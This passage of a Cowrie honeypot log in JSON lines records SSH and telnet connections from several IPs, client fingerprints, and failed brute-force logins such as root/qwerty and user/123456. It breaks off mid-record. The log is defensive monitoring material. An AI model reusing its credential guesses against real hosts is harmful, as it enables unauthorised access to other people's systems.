{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:57.917345Z","src_ip":"45.153.34.112","session":"fa8fa4e9da2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.425036668777466,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:58.168171Z","src_ip":"192.119.13.58","session":"e1483083a43a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:58.263281Z","src_ip":"45.153.34.112","session":"fa8fa4e9da2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:59.465584Z","src_ip":"45.153.34.112","session":"fa8fa4e9da2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.20045518875122,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:59.879517Z","src_ip":"192.119.13.58","session":"999d918bbfe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52850,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5ec2e4fc29","protocol":"ssh","message":"New connection: 45.153.34.112:52850 (10.17.0.5:22) [session: dd5ec2e4fc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:01.555518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:01.561406Z","src_ip":"45.153.34.112","session":"dd5ec2e4fc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:01.736502Z","src_ip":"45.153.34.112","session":"dd5ec2e4fc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:02.041506Z","src_ip":"45.153.34.112","session":"dd5ec2e4fc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46558,"dst_ip":"10.17.0.5","dst_port":23,"session":"41be4c74f25a","protocol":"telnet","message":"New connection: 192.119.13.58:46558 (10.17.0.5:23) [session: 41be4c74f25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:02.751310Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:03.127870Z","src_ip":"45.153.34.112","session":"dd5ec2e4fc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52866,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4e18581459","protocol":"ssh","message":"New connection: 45.153.34.112:52866 (10.17.0.5:22) [session: 7d4e18581459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:05.330238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:05.335825Z","src_ip":"45.153.34.112","session":"7d4e18581459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:05.419122Z","src_ip":"45.153.34.112","session":"7d4e18581459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:05.674600Z","src_ip":"45.153.34.112","session":"7d4e18581459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:06.763346Z","src_ip":"45.153.34.112","session":"7d4e18581459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35930,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b6bd4c6aaa5","protocol":"telnet","message":"New connection: 192.119.13.58:35930 (10.17.0.5:23) [session: 3b6bd4c6aaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:06.815082Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52874,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b24a8eb020c","protocol":"ssh","message":"New connection: 45.153.34.112:52874 (10.17.0.5:22) [session: 9b24a8eb020c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:08.910799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:08.933431Z","src_ip":"45.153.34.112","session":"9b24a8eb020c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:09.008677Z","src_ip":"45.153.34.112","session":"9b24a8eb020c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:09.326087Z","src_ip":"45.153.34.112","session":"9b24a8eb020c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48854,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd92d8cb3495","protocol":"ssh","message":"New connection: 103.77.242.62:48854 (10.17.0.5:22) [session: cd92d8cb3495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:09.477108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:09.481925Z","src_ip":"103.77.242.62","session":"cd92d8cb3495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:09.722143Z","src_ip":"103.77.242.62","session":"cd92d8cb3495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:10.439575Z","src_ip":"45.153.34.112","session":"9b24a8eb020c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"respect","message":"login attempt [root/respect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:10.444891Z","src_ip":"103.77.242.62","session":"cd92d8cb3495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:11.686698Z","src_ip":"103.77.242.62","session":"cd92d8cb3495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49902,"dst_ip":"10.17.0.5","dst_port":22,"session":"486de7ca5fbd","protocol":"ssh","message":"New connection: 45.153.34.112:49902 (10.17.0.5:22) [session: 486de7ca5fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:12.874508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:12.880410Z","src_ip":"45.153.34.112","session":"486de7ca5fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:12.963748Z","src_ip":"45.153.34.112","session":"486de7ca5fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:13.211624Z","src_ip":"45.153.34.112","session":"486de7ca5fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45172,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef7edddeaa8","protocol":"telnet","message":"New connection: 192.119.13.58:45172 (10.17.0.5:23) [session: 2ef7edddeaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:14.008912Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:14.296699Z","src_ip":"45.153.34.112","session":"486de7ca5fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":39338,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f10c6360425","protocol":"ssh","message":"New connection: 43.173.122.127:39338 (10.17.0.5:22) [session: 3f10c6360425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:15.265397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:15.271107Z","src_ip":"43.173.122.127","session":"3f10c6360425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:15.341253Z","src_ip":"43.173.122.127","session":"3f10c6360425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shirley","message":"login attempt [root/shirley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:15.648225Z","src_ip":"43.173.122.127","session":"3f10c6360425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":37808,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a621a409a0f","protocol":"ssh","message":"New connection: 170.106.177.3:37808 (10.17.0.5:22) [session: 9a621a409a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.308966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.314383Z","src_ip":"170.106.177.3","session":"9a621a409a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.383358Z","src_ip":"170.106.177.3","session":"9a621a409a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49926,"dst_ip":"10.17.0.5","dst_port":22,"session":"60241c6013fe","protocol":"ssh","message":"New connection: 45.153.34.112:49926 (10.17.0.5:22) [session: 60241c6013fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.416876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.421593Z","src_ip":"45.153.34.112","session":"60241c6013fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecd